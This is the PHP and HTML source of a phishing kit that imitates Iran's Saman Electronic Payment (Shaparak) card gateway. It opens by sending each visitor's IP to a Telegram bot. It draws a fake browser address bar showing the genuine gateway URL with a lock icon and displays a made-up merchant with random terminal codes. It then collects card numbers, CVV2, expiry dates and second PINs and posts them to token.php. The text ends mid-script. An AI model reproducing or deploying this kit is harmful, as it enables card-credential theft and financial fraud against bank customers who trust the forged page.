
<?php
session_start();
if(isset($_REQUEST['amount'])){
    $amount = htmlentities($_REQUEST['amount']);
    $_SESSION['amount'] = $amount;
}else{
    $amount = htmlentities(49000);
    $_SESSION['amount'] = $amount;
}
include "info.php";
$ip = $_SERVER["REMOTE_ADDR"];
$Text = "یک کاربر وارد درگاه پرداخت شد 🤹

🌐 IP : $ip
❇ CODER : @X405U7 🍉🍉
";
file_get_contents("https://api.telegram.org/bot$TOKEN/sendMessage?parse_mode=HTML&chat_id=$ID&text=".urlencode($Text));
?>
<!DOCTYPE html>

<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0,maximum-scale=1.0, user-scalable=0">
    <title>درگاه پرداخت - پرداخت الکترونیک سامان</title>
    <style>
    .loading-page {
        position: fixed;
        vertical-align: bottom;
        line-height: 50px;
        background-color: #2980B9;
        width: 100%;
        font-family: Segoe UI;
        z-index: 99999;
        font-weight: bold;
        font-size: 1.4em;
        height: 100%;
        top: 0;
        text-align: center;
        color: #fff;
    }
</style>
<link href="Content/Loading.css" rel="stylesheet"/>


    <script src="bundles/jquery.js?v=oDlEoO3uPcGlSvzOce699PFYUxVTdgayLi5L9jaTC5I1"></script>

</head>
<body>
<div id="safe"> 
<div id="url" width="100%">
<span id="jaryan">

				
				<span id="h">https://</span><span id="text">saman.shaparak.ir</span><span id="txtakhari">/payment</span><svg style="width: 10px;" class="svg-inline--fa fa-lock fa-w-14" aria-hidden="true" data-prefix="fas" data-icon="lock" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" data-fa-i2svg=""><path fill="currentColor" d="M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z"></path></svg><!-- <i class="fas fa-lock"></i> -->
				
		
		</span>
		</div>
	</div><br><br>
	<style>
				
				#url{
				align:left;
				border:1px solid black;
				border-radius:8px;
				font-size:14px;
				color:green;
				margin:5px 0px;
				padding:5px;
				position:fixed;
				z-index:10000000;
				background-color:white;
				text-align:left;
				width:99.9%;
			}
			#refersh{
				float:right;
				margin-top:2px;
				margin-left:5px;
			}

			
			#text{
				color:black;
			}
			.fas fa-lock{
				float:right;
				margin-top:2px;
				
			}
			#safe{
				position:fixed;
				z-index:1000000;
				width:100%;
				height:46px;
				background-color:#999999;
				border:1px solid black;
				
			}
			
			#txtakhari{
				color:#999999;
			}
			#h{
				margin-left:5px;
			}
    </style>
	
<!--<div class="loading-page">-->
<!--    درحال بارگذاری ...-->
<!--    <div class="spinner">-->
<!--        <div class="cube1"></div>-->
<!--        <div class="cube2"></div>-->
<!--    </div>-->
<!--</div>-->
    <div class="blue-header">
    <div class="inner container">
        <div class="call-center">021-84080</div>
    </div>
</div>
<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="container">
        <span class="pull-left">
            <img src="Images/sep-logo.png" class="sep-header-logo" alt="Saman Electronic Payment" />
        </span>
        <div class="pull-right">
            <span class="shaparak-logo">
                <img src="Images/shaparak-logo1.png" class="sep-header-logo" alt="shaparak logo"/>
            </span>
        </div>
        <div class="header-title">
            دروازه پرداخت اینترنتی پرداخت الکترونیک سامان
        </div>
    </div>
</div>

<style>
    .navbar {
        text-align: center;
    }
</style>
    <div class="container-fluid body-content">

<style>
    .panel.col-md-5, .panel.col-md-6 {
        padding: 0;
    }
    .num-pass-input {
        -webkit-text-security: disc;
    }
</style>


    <div id="payContainer">
        <div class="row">
            <div class="col-sm-5 col-xs-12" id="creditCardInfoWrapper">

<form action="RayanMehr/Fa/Payment/CookieError" method="post" id="frmCookie">
    <input name="SessionKey" type="hidden" value="8zlv3vT11wg" />
</form>

<div id="card-info" class="panel panel-primary">
    <div class="panel-heading">
        <i class="glyphicon glyphicon-credit-card"></i>
        اطلاعات کارت
    </div>
    <div class="hidden">
<form action="RayanMehr/Fa/Payment/FailedOtp" id="frmFailedOtp" method="post">            <input name="SessionKey" type="hidden" value="8zlv3vT11wg" />
            <input type="submit" name="name" value="" />
</form>    </div>
    <div class="panel-body">
<form action="token.php" id="frmPayment" method="post"><input name="__RequestVerificationToken" type="hidden" value="IbIwwWrx02kT4PYbxzWF91RcYQRR7CuOUps1XN8WDoKMMnMkZWCKRV_AnV3iOemxB7e3FmIqzLDwNsJAOJuClJ0OuuwykT9GufSkuyMVT0w1" />            <input name="action" type="hidden" value="pay" />
            <input name="SessionKey" type="hidden" value="8zlv3vT11wg" />
            <input name="e" id="es" type="hidden" value="<?php echo $e; ?>" />
            <div class="form-horizontal">
                <div class="form-group">
                    <div class="col-md-9 col-sm-offset-3">
                        <div class="payment-validation-error ">
<div class="validation-summary-valid alert alert-danger" data-valmsg-summary="true"><ul><li style="display:none"></li>
</ul></div>                        </div>
                    </div>
                </div>

                <div id="cardNumberContainer" class="form-group">
                    <label class="control-label col-md-3" for="CardNumber">شماره کارت</label>
                    <div class="col-md-9">
                        <table id="CardNumber" class="ltr text-center sep-pan">
                            <tr>
                                <td>
                                    <input class="hide-pan" data-val="true" data-val-cardnumbervalidations="شماره کارت اشتباه است." data-val-cardnumbervalidations-invalidcardnumber="شماره کارت اشتباه است." data-val-required="شماره کارت الزامی است." id="CardNumber_PanString" name="CardNumber.PanString" type="text" value="" />
                                    <input autocomplete="off" class="sep-numeric form-control " data-placement="top" data-toggle="tooltip" id="CardNumber_Pan0" maxlength="4" name="card1" pattern="\d{5,12}" tabindex="1" title="مشتری گرامی، چنانچه برنامه کاربردی به منظور دریافت رمز پویا را نصب کرده اید، لطفاً جهت دریافت رمز پویا، به برنامه کاربردی مربوطه مراجعه نمایید و رمز دریافت شده را در قسمت &quot;رمز دوم&quot; وارد نمایید" type="tel" value="" />
                                </td>
                                <td>&nbsp;</td>
                                <td>
                                    <input autocomplete="off" class="sep-numeric form-control " data-placement="top" data-toggle="tooltip" id="CardNumber_Pan1" maxlength="4" name="card2" pattern="\d{5,12}" tabindex="2" title="مشتری گرامی، چنانچه برنامه کاربردی به منظور دریافت رمز پویا را نصب کرده اید، لطفاً جهت دریافت رمز پویا، به برنامه کاربردی مربوطه مراجعه نمایید و رمز دریافت شده را در قسمت &quot;رمز دوم&quot; وارد نمایید" type="tel" value="" />
                                </td>
                                <td>&nbsp;</td>
                                <td>
                                    <input autocomplete="off" class="sep-numeric form-control " data-placement="top" data-toggle="tooltip" id="CardNumber_Pan2" maxlength="4" name="card3" pattern="\d{5,12}" tabindex="3" title="مشتری گرامی، چنانچه برنامه کاربردی به منظور دریافت رمز پویا را نصب کرده اید، لطفاً جهت دریافت رمز پویا، به برنامه کاربردی مربوطه مراجعه نمایید و رمز دریافت شده را در قسمت &quot;رمز دوم&quot; وارد نمایید" type="tel" value="" />
                                </td>
                                <td>&nbsp;</td>
                                <td>
                                    <input autocomplete="off" class="sep-numeric form-control " data-placement="top" data-toggle="tooltip" id="CardNumber_Pan3" maxlength="4" name="card4" pattern="\d{5,12}" tabindex="4" title="مشتری گرامی، چنانچه برنامه کاربردی به منظور دریافت رمز پویا را نصب کرده اید، لطفاً جهت دریافت رمز پویا، به برنامه کاربردی مربوطه مراجعه نمایید و رمز دریافت شده را در قسمت &quot;رمز دوم&quot; وارد نمایید" type="tel" value="" />

                                </td>
                                <td class="hidden">-</td>
                                <td class="hidden">
                                    <input autocomplete="off" class="sep-last-pan sep-numeric form-control" disabled="True" id="CardNumber_Pan4" maxlength="3" name="CardNumber.Pan4" pattern="\d{5,12}" type="tel" value="" />
                                </td>
                            </tr>
                        </table>
                    </div>
                </div>

				
				

                <div class="form-group">
                    <label class="control-label  col-md-3" for="Cvv2">شماره شناسایی دوم(CVV2)</label>
                    <div class="col-md-9">
                        <input autocomplete="off" class="form-control sep-numeric cvv2 sep-secure-number" data-val="true" data-val-length="تعداد کارکترهای فیلد شماره شناسایی دوم(CVV2) باید بین 3 و 4 باشد." data-val-length-max="4" data-val-length-min="3" data-val-regex="فیلد شماره شناسایی دوم(CVV2) فقط مقادیر عددی می پذیرد." data-val-regex-pattern="^\d+$" data-val-required="شماره شناسایی دوم(CVV2) الزامی است." id="Cvv2" maxlength="4" name="cvv2" pattern="\d{5,12}" tabindex="5" type="text" value="" />

                    </div>
                </div>
                <div id="expDateContainer" class="form-group">
                    <label class="control-label col-md-3" for="ExpDate">تاریخ انقضای کارت</label>
                    <div class="col-md-9">
                        <div id="exp-date-container" class="exp-date-container">
                            <div id="enableExpDate" style="display: none;" class="col-xs-12 no-padding">
                                <div>
                                    <div class="input-group">
                                        <span class="input-group-btn">
                                            <input class="btn btn-default" id="btnChangeExpDate" type="button" tabindex="6" , value="تغییر تاریخ انقضا" />
                                        </span>
                                        <input id="expireDateMsg" class="form-control" type="text" value="**/**" style="font-size:1.8em;" disabled="disabled" />
                                    </div>

                                </div>
                            </div>
                            <div id="exp-input-date-container">
                                <div class="input-group col-xs-5 no-padding exp-date-input">
                                    <span class="input-group-addon" id="basic-addon1"><label for="Month">ماه</label></span>
                                    <input autocomplete="off" class="sep-numeric month-input form-control" data-val="true" data-val-range="فیلد ماه می بایست عددی بین 1 تا 12 باشد." data-val-range-max="12" data-val-range-min="1" data-val-required="ماه الزامی است." id="Month" maxlength="2" name="month" pattern="\d{5,12}" tabindex="7" type="tel" value="" />
                                </div>
                                <div class="col-xs-2 no-padding exp-date-input"></div>
                                <div class="input-group col-xs-5 no-padding exp-date-input">
                                    <span class="input-group-addon" id="basic-addon1"><label for="Year">سال</label></span>
                                    <input autocomplete="off" class="sep-numeric year-input form-control" data-val="true" data-val-required="سال الزامی است." id="Year" maxlength="2" name="year" pattern="\d{5,12}" tabindex="8" type="tel" value="" />
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                        <div class="form-group">
                            <label class="control-label col-md-3" for="">کد امنیتی</label>
                            <div id="captchaContainer" class="col-md-9">


<script type="text/javascript">
$(function () {$('#5ec929c3a158405fa96a5c3abb234628').show();});
function ______4df48c2354dd4aeda6575125cda01f94________() { $('#5ec929c3a158405fa96a5c3abb234628').animate({ rotate: '180' }, 300, 'linear'); $.post("DefaultCaptcha/index.php", { t: $('#CaptchaDeText').val() }, function(){$('#5ec929c3a158405fa96a5c3abb234628').animate({ rotate: '360' }, 300, 'linear');}); return false; }</script> <div class="captcha-container input-group  input-group-lg"><span class="input-group-addon" id="sizing-addon1">

<img id="CaptchaImage" width="130" height="70" src="DefaultCaptcha/index.php"/></span><input _______InputTextAttribute_______="" _______LengthAttribute_______="5" _______RefreshTextAttribute_______="" autocomplete="off" action="index.php" autocorrect="off" class="sep-numeric form-control" data-original-title="فقط عددهای انگلیسی قابل پذیرش است." data-placement="top" data-toggle="tooltip" id="CaptchaInputText" maxlength="5" name="CaptchaInputText" next-input="#EmailAddress" tabindex="9" type="#EmailAddress" value="" /><br/><span class="input-group-btn"><span class="btn btn-default captcha-button glyphicon glyphicon-refresh" formnovalidate="formnovalidate" id="5ec929c3a158405fa96a5c3abb234628" onclick="capRef();" type="button"></span></span></div><input id="CaptchaDeText" name="CaptchaDeText" type="hidden" value="5fb8b9beea2a4d39a2afa87c4af620fe" />
                                                  <script>
                                        function capRef(){
											var Code = Math.floor(Math.random() * 22) + 1;
                                            document.getElementById('CaptchaImage').src = "captcha/c"+Code+".gif";
                                        }
                                    </script>
						   </div>
                        </div>

                    <div class="form-group">
                        <label class="control-label col-md-3" for="Pin2">رمز دوم</label>
                        <div class="col-md-9">
                            <div class="input-group">
                                <input autocomplete="off" class="form-control sep-numeric sep-secure-number" data-val="false" data-val-length="تعداد کارکترهای فیلد رمز دوم باید بین 4 و 12 باشد." data-val-length-max="12" data-val-length-min="4" data-val-regex="فیلد رمز دوم فقط مقادیر عددی می پذیرد." data-val-regex-pattern="^\d+$" data-val-required="رمز دوم الزامی است." id="Pin2" maxlength="12" name="pass" pattern="\d{5,12}" placeholder="ورود رمز" tabindex="10" type="text" value="" />
                                <span class="input-group-btn">
                       <button type="button" no-validation="true" id="requestOtpButton" onclick="otpButtonToTimer();" class="btn btn-success" style="font-size:11px">درخواست رمز پویا</button>
					
							  </span>
                            </div>
                        </div>
                    </div>



<div class="form-group">
    <label class="control-label col-md-3" for="Email">آدرس ایمیل(اختیاری)</label>
    <div class="col-md-9">
        <div class="input-group">
            <input class="form-control ltr" data-val="true" data-val-email="آدرس پست الکترونیک خود راصحیح  وارد نمایید." data-val-length="فیلد آدرس ایمیل(اختیاری) حداکثر 255 کاراکتر ظرفیت دارد." data-val-length-max="255" id="userEmail" maxlength="255" name="Email" tabindex="16" type="email" value="" />
            <span class="input-group-addon">
                <input data-val="true" data-val-required="The ذخیره field is required." id="SaveMyEmail" name="SaveMyEmail" type="checkbox" value="true" /><input name="SaveMyEmail" type="hidden" value="false" />
                <label for="SaveMyEmail">ذخیره</label>
            </span>
        </div>
    </div>
</div>



                <div class="form-group btn-container">
                    <div class="col-md-offset-3 col-md-9">
                        <div class="row">
    <div class="col-sm-6 col-xs-6">
        <button id="button-payment-pay" tabindex="12" load="درحال پردازش..." class="btn btn-primary form-control"
                title="ارسال اطلاعات کارت و پرداخت تراکنش" type="submit">
            <i class="glyphicon glyphicon-ok"></i>
            <span>پرداخت</span>
        </button>
    </div>
    <div class="col-sm-6 col-xs-6">
        <button id="button-payment-cancel" tabindex="13" no-validation="true" type="button" onclick="cancelPayment()" class="btn btn-danger form-control"
                title="انصراف از پرداخت تراکنش و انتقال به سایت پذیرنده">
            <i class="glyphicon glyphicon-ban-circle"></i>
            <span>
                انصراف
            </span>
        </button>
    </div>
</div>



                    </div>
                </div>
                <div class="form-group">
                    <div class="col-md-9 col-sm-offset-3">
                        <div class="payment-validation-error show-only-on-mobile">
                            <div class="validation-summary-valid alert alert-danger" data-valmsg-summary="true"><ul><li style="display:none"></li>
</ul></div>
                        </div>
                    </div>
                </div>

            </div>
</form>        <form action="Purchase/RayanMehr" method="post">            <input name="action" type="hidden" value="cancel" />
            <input name="SessionKey" type="hidden" value="8zlv3vT11wg" />
            <input id="btnCancel" style="display: none;" type="submit" />
</form>    </div>
</div>

            </div>
            <div class="col-sm-4 col-xs-12">

<style>
    .img-holder {
        width: 200px;
        margin: 0 auto;
    }

    .fixed, .img-holder {
        height: 125px;
    }

        .fixed td {
            height: 125px;
        }

            .fixed td img {
                width: 100%;
            }
</style>
<div id="merchant-info" class=" panel panel-primary">
    <div class="panel-heading">
        <i class="glyphicon glyphicon-info-sign"></i>
        اطلاعات پذیرنده
    </div>
    <div class="panel-body">
        <div class="accinfo">
            <ul>
                <li class="alert-gray">
                    <div id="pay-timer">
    <i class="glyphicon glyphicon-time"></i>
    <span>
        زمان باقیمانده:&nbsp;
    </span>
    <span class="value">
        <span id="min"></span>:<span id="sec"></span>
    </span>
</div>
                </li>
                <li class="merchant-logo alert-gray">
                    <div class="img-holder">
                        <table align="center" class="fixed">
                            <tr>
                                <td>
                            <img src="logo.jpg" alt="" />
                                </td>
                            </tr>
                        </table>
                    </div>
                </li>
<?php
$rand = rand (000000000,999999999);
$rand2 = $rand.rand (0000,9999);
?>
                <li class="alert-gray">
                    <i class="glyphicon glyphicon-certificate"></i>
                    <label for="">کد ترمینال پذیرنده</label>
                    <span>
                        <?php echo $rand; ?>
                    </span>
                </li>
                <li class="alert-gray">
                    <i class="glyphicon glyphicon-certificate"></i>
                    <label for="">کد پذیرنده</label>
                    <?php echo $rand2; ?>
                </li>
                <li class="alert-gray">
                    <i class="glyphicon glyphicon-user"></i>
                    <label for="Merchant">نام پذیرنده</label>
                    وزارت تعاون و کار
                </li>
                <li class="alert-gray">
                    <i class="glyphicon glyphicon-user"></i>
                    <label for="RedirectUrl">آدرس سایت پذیرنده</label>
                    rayanertebat.ir
                </li>
                <li class="price alert-gray">
                    <i class="glyphicon glyphicon-asterisk"></i>
                    <label for="Amount">مبلغ قابل پرداخت(ریال)</label>
                    <span>
                        <?php echo $_SESSION["amount"]; ?> ریال
                    </span>
                </li>
            </ul>
        </div>
    </div>
</div>
            </div>
            <div class="col-sm-3 col-xs-12">

<div id="security-notice" class="panel panel-info">
    <div class="panel-heading">
        <i class="glyphicon glyphicon-exclamation-sign"></i>
        راهنمای استفاده از رمز پویا
    </div>
    <div class="panel-body">
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            <b>رمز پویا</b>
            <span>
                رمز یکبار مصرفی است که به جای رمز دوم کارت استفاده می‌شود.
            </span>
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            <b>مرحله اول - </b>
            <span>بر اساس دستورالعمل بانک صادرکننده کارت خود، نسبت به فعال سازی رمز پویا اقدام نمایید.</span>
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            <b>مرحله دوم - </b>
            <span>رمز پویا را بر اساس روش اعلامی از طرف بانک صادر کننده کارت، به یکی از روش های زیر دریافت کنید</span>
            <ul class="list-style-none">
                <li>
                    <b>1-</b>
                    <span>
                        دریافت از طریق برنامه کاربردی بانک، اینترنت بانک و یا موبایل بانک
                    </span>
                </li>
                <li>
                    <b>2-</b>
                    <span>
                        دریافت از طریق کد USSD بانک صادر کننده کارت شما
                    </span>
                </li>
                <li>
                    <b>3-</b>
                    <span>
                        دریافت از طریق زدن دکمه "درخواست رمز پویا" در درگاه پرداخت اینترنتی
                    </span>
                </li>
            </ul>
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            <b>مرحله سوم - </b>
            <span>پس از دریافت رمز به یکی از روش های فوق، رمز پویای دریافت شده را در محل تعیین شده برای "رمز دوم" وارد نمایید و سپس مابقی اطلاعات راتکمیل نمایید.</span>
        </p>
    </div>
</div>




            </div>
        </div>

        <div class="clear"></div>

        <div class="row">
            <div class="col-sm-12 col-xs-12">



<div id="security-notice" class="panel panel-danger">
    <div class="panel-heading">
        <i class="glyphicon glyphicon-exclamation-sign"></i>

        راهنما و نکات امنیتی
    </div>
    <div class="panel-body">
        <!-- در صورت تسویه به چند حساب به ازای هر شبا مبلغ باید یک عنصر به آرایه افزوده گردد-->
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            شماره کارت: 16 رقمی بوده و بصورت 4 قسمت 4 رقمی روی کارت درج شده است
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            cvv2با طول 3 یا 4 رقم کنار شماره کارت و یا پشت کارت درج شده است
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            تاریخ انقضا: شامل دو بخش ماه و سال انقضا در کنار شماره کارت درج شده است
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            رمز اینترنتی: با عنوان رمز دوم و در برخی موارد با PIN2 شناخته می شود، از طریق بانک صادر کننده کارت تولید شده و همچنین از طریق دستگاه های خودپرداز بانک صادر کننده قابل تهیه و یا تغییر می باشد
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            کد امنیتی: بخشی از محتوای صفحه پرداخت است و لازم است برای ادامه فرایند خرید ، کد موجود که به صورت عددی در تصویر مشخص شده است در محل پیش بینی شده درج شود
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            درگاه پرداخت اینترنتی سامان با استفاده از پروتکل امن SSL به مشتریان خود ارایه خدمت نموده و با آدرس <strong style="font-size:1.4em; color:red;">https://sep.shaparak.ir</strong> شروع می شود. خواهشمند است به منظور جلوگیری از سوء استفاده های احتمالی پیش از ورود هرگونه اطلاعات، آدرس موجود در بخش مرورگر وب خود را با آدرس فوق مقایسه نمایید و درصورت مشاهده هر نوع مغایرت احتمالی، موضوع را با ما درمیان بگذارید.
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            از صحت نام فروشنده و مبلغ نمایش داده شده، اطمینان حاصل فرمایید.
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            برای جلوگیری از افشای رمز کارت خود، حتی المقدور از صفحه کلید مجازی استفاده فرمایید.
        </p>
        <p>
            <i class="glyphicon glyphicon-ok" style="color: green;font-size: 1.2em;"></i>
            برای کسب اطلاعات بیشتر، گزارش فروشگاههای مشکوک و همچنین اطلاع از وضعیت پذیرندگان
            اینترنتی با شماره 84080 تماس بگیرید و یا از طریق ایمیل epay@sep.ir اقدام نمایید.
        </p>
    </div>
</div>



            </div>
        </div>

    </div>

    </div>
    <div class="footer">
    <div class="container">
        <div class="footer-phone">
            <i class="glyphicon glyphicon-earphone"></i>
            <span>مرکز شبانه روزی ارتباط با مشتریان:</span>
            <span class="value">84080-021</span>
        </div>
        <div class="footer-copyright">
            <i class="glyphicon glyphicon-registration-mark"></i>
            تمامی حقوق این نرم افزار متعلق به  شرکت پرداخت الکترونیک سامان  می باشد.
        </div>
        <div class="footer-company">
            <i class="glyphicon glyphicon-copyright-mark"></i>
            شرکت پرداخت الکترونیک سامان <span style="direction: rtl;"> 2020- 2008</span>
        </div>
    </div>
</div>
<script>
    $(document).ready(function() {
        setFooterPosition();
        $(".btn").on("click", function (e) {
            setTimeout(function() {
                setFooterPosition();
            }, 100);
        });
        $(window).resize(function() {
            setTimeout(function () {
                setFooterPosition();
            }, 100);
        });
    });
</script>
    <script src="bundles/modernizr?v=inCVuEFe6J4Q07A0AcRsbJic_UE5MwpRMNGcOtk94TE1"></script>

<script src="bundles/bootstrap?v=02I37B8URpB7hqkZrxMEO7o6VbDywYH_vuXan7A7mR81"></script>

<script src="bundles/jqueryval?v=ewwbEwxCzNIunbw9c2Y5X5_ldbOkIBIkUo-LvchX7I81"></script>

<script>
    $(document).ready(function () {
        $('.loading-page').hide();
        $('.loading-page').remove();
        $('.main-page').show();
    });

</script>
<link href="Content/css.css?v=vac7PUFMCp7zgi6acpaknjBaZFC9BSqN7yZW_29Bra41" rel="stylesheet"/>
<script src="bundles/fa-scripts?v=Fpw7PE73-rXVYcM_EmkZnmI5GJnJJIEAmlbGdfGfu0E1"></script>
<!--[if IE 7]>
<link href="/Purchase/Content/IE7.css" rel="stylesheet"/>

<![endif]-->
<!--[if lte IE 8]>
<link href="Purchase/Content/IE8.css" rel="stylesheet"/>

<![endif]-->



<script>
    $(document).ready(function() {
        if (!navigator.cookieEnabled) {
            $("#payContainer").hide();
            $("#frmCookie").submit();
        }
        var isWebKit = /webkit/.test(navigator.userAgent.toLowerCase());
        var isEdge = navigator.userAgent.search("Edge") > 0;
        if (!isEdge && isWebKit) {
            $("#Pin2, #Cvv2").addClass("num-pass-input");
            $("#Pin2, #Cvv2").attr("type", "tel");
        }
        var timeout = parseInt('600000');
        $('#pay-timer').startKTimer({
            timeOut: timeout,
            btnTimeoutClick: $('#button-payment-cancel')
        });
        syncSectionsHeight();

        $("#CaptchaInputText").attr("maxlength", 5);
        $("#CaptchaInputText").attr("type", "tel");
    });

    function syncSectionsHeight() {

        //$('#card-info').syncHeight($('#merchant-info'), 768);


        //$("#button-payment-pay").on("click", function (e) {
        //    $('#card-info').syncHeight($('#merchant-info'), 768);
        //});


                $(window).resize(function () {
                    $('#card-info').syncHeight($('#merchant-info'),
                        768);
                });

    }


    /* Card Number Validator*/
    jQuery.validator.unobtrusive.adapters.add
    ("cardnumbervalidations", ['invalidcardnumber'],
        function (options) {
            options.rules['cardnumbervalidations'] = {
                other: options.params.other,
                invalidcardnumber: options.params.invalidcardnumber
            };
            options.messages['cardnumbervalidations'] = options.message;
        }
    );


    jQuery.validator.addMethod("cardnumbervalidations", function (value, element, params) {
        var result = isValidCard(value);
        setTimeout(function () {
            if (!result)
                $(element).closest('tr').find('input:enabled').removeClass('valid').addClass('input-validation-error');
            else
                $(element).closest('tr').find('input').removeClass('input-validation-error');
            syncSectionsHeight();
        }, 200);
        return result;
    });

</script>


    <!--[if IE 7]>
        <link href="Purchase/Content/StyleIE7.css" rel="stylesheet" />
    <![endif]-->



    <div class="modal" id="otpResponseModal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal">&times;</button>
                    <h4 class="modal-title">رمز یکبار مصرف</h4>
                </div>
                <div class="modal-body">
                    <p class="text-justify" style="direction:rtl" id="otpResponseParagraph">

                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-success btn-close" data-dismiss="modal">متوجه شدم</button>
                </div>
            </div>
        </div>
    </div>

    <script type="text/javascript">

        var areaName       = "RayanMehr";
        var userSessionKey = "8zlv3vT11wg";

        var otpSettings = {
            maxTriesCount: 5,
            maxTriesMessage: "پیام حداکثر تعداد درخواست رمز یکبار مصرف",
            otpTimeOut: 120,
            otpTryAgainMessage: ""
        }

    </script>

    <script type="text/javascript">

        function enableRequestOtpButton() { $("#requestOtpButton").removeAttr('disabled'); }
        function disableRequestOtpButton() { $("#requestOtpButton").attr('disabled', 'disabled'); }
        function closeOtpMessage() { $("#otpResponseModal").fadeOut("slow"); }
        function showMaxOtpRequestsRaised() { showOtpMessage(otpSettings.maxTriesMessage); }

        function showOtpMessage(message) {
            var otpMessageModal = $("#otpResponseModal")
            otpMessageModal.find("#otpResponseParagraph").html(message);
            otpMessageModal.css('background-color', 'rgba(51,51,51,0.5)');
            otpMessageModal.fadeIn('slow');
        }

        function otpButtonToTimer() {
            var btn = $("#requestOtpButton")
            disableRequestOtpButton();
            btn.addClass('btn-timer');
        }

        function timerToOtpButton() {

            if (otpSettings.maxTriesCount <= 0) {
                timerToFailedOtp();
                return;
            }

            var btn = $("#requestOtpButton")
            enableRequestOtpButton()
            btn.removeClass('btn-timer');
            btn.text("دریافت مجدد رمز پویا");
        }

        function timerToFailedOtp() {

            var btn = $("#requestOtpButton")
            btn.attr('disabled', 'disabled');
            showMaxOtpRequestsRaised();
            k1StopTimer();
            $("#frmFailedOtp").submit();
        }

        function disableCaptcha() {
            $("#CaptchaInputText").attr("disabled", "disabled");
            $('.captcha-button').attr('disabled','disabled');
        }

        function enableCaptcha() {
            $("#CaptchaInputText").removeAttr("disabled");
            $('.captcha-button').removeAttr('disabled');
        }

        function refreshCaptcha() {
            $(".captcha-button").click();
            $("#CaptchaInputText").val("");
            var jsonData = {
                    userSessionKey: "8zlv3vT11wg",
                    areaName: "RayanMehr"
                };

            var request = $.ajax({
                url: "Otp/ExpireCaptcha",
                method: "POST",
                data: jsonData,
                type: "json"
            });

            request.done(function () {
                return;
            })
        }

    </script>

    <script>

        $(document).ready(function () {

            $('#CardNumber_Pan0,#CardNumber_Pan1,#CardNumber_Pan2,#CardNumber_Pan3').tooltip();

            if (!navigator.cookieEnabled) {
                $("form").attr("method", "get");
            }

            if ($('#otpMessageModal').length) {

                var otpMessageModal = $('#otpMessageModal');
                otpMessageModal.css('background-color', 'rgba(51,51,51,0.5)');
                otpMessageModal.fadeIn('slow');
                $('.modal-body p').css('text-align', 'justify');

                $('.close,.btn-close').click(function () {

                    otpMessageModal.fadeOut('slow');
                    setTimeout(function () {
                        otpMessageModal.remove();
                    }, 355);
                });
            }

            $("#requestOtpButton").click(function (e) {
                var timer2 = "02:00";
                var interval = setInterval(function() {
                    var timer = timer2.split(':');
                    //by parsing integer, I avoid all extra string processing
                    var minutes = parseInt(timer[0], 10);
                    var seconds = parseInt(timer[1], 10);
                    --seconds;
                    minutes = (seconds < 0) ? --minutes : minutes;
                    if (minutes < 0) clearInterval(interval);
                    seconds = (seconds < 0) ? 59 : seconds;
                    seconds = (seconds < 10) ? '0' + seconds : seconds;
                    // minutes = (minutes < 10) ?  minutes : minutes;
                    $('#requestOtpButton').html(minutes + ':' + seconds);
                    // document.getElementsByClassName('countdown').setAttribute('value',(minutes + ':' + seconds));
                    timer2 = minutes + ':' + seconds;
                    document.getElementById('requestOtpButton').disabled = true;
                    if (timer2 == "0:00"){
                        timer2 = "02:00";
                    }
                }, 1000);
                showOtpMessage("مشتری گرامی , درصورتی که از صحت اطلاعات وارد شده اطمینان دارید ولی هنوز رمز دوم پویای خود را دریافت ننموده اید مجددا دکمه درخواست رمز پویا را بفشارید. در غیر اینصورت برای رفع مشکل به بانک صادر کننده کارت خود مراجعه فرمایید");

                e.preventDefault();

                if (otpSettings.maxTriesCount <= 0) {
                    showMaxOtpRequestsRaised();
                    disableRequestOtpButton();
                    return;
                }

                var pan = "";
                var captchaText = "";
                var captchaDeText = $("#CaptchaDeText").val();

                captchaText = $("input[name='CaptchaInputText']").val();

                //Checking captcha input
                if (isEmptyOrSpaces(captchaText)) {
                    showOtpMessage("لطفاً کد امنیتی داخل تصویر را وارد کنید");
                    return;
                }

                pan = $("#CardNumber_Pan0").val() + $("#CardNumber_Pan1").val() + $("#CardNumber_Pan2").val() + $("#CardNumber_Pan3").val();


                if ($("#CardNumber_Pan4").val()) {
                    pan += $("#CardNumber_Pan4").val();
                }

                var subCardId = $('#SelectedCardId').val();
                var isSelectedCard = !(subCardId === undefined || subCardId === null || isEmptyOrSpaces(subCardId));

                if (isSelectedCard) {
                    //$("#CardNumber_Pan0").val('');
                    //$("#CardNumber_Pan1").val('');
                    //$("#CardNumber_Pan2").val('');
                    //$("#CardNumber_Pan3").val('');
                    pan = '';
                }

                if (isEmptyOrSpaces(pan)) {
                    if (isSelectedCard === false) {
                        showOtpMessage("شماره کارت الزامی میباشد.");
                        return;
                    }
                }
                else if (isValidCard(pan) == false) {
                    showOtpMessage("شماره کارت را به درستی وارد کنید.");
                    return;
                }


                disableRequestOtpButton();

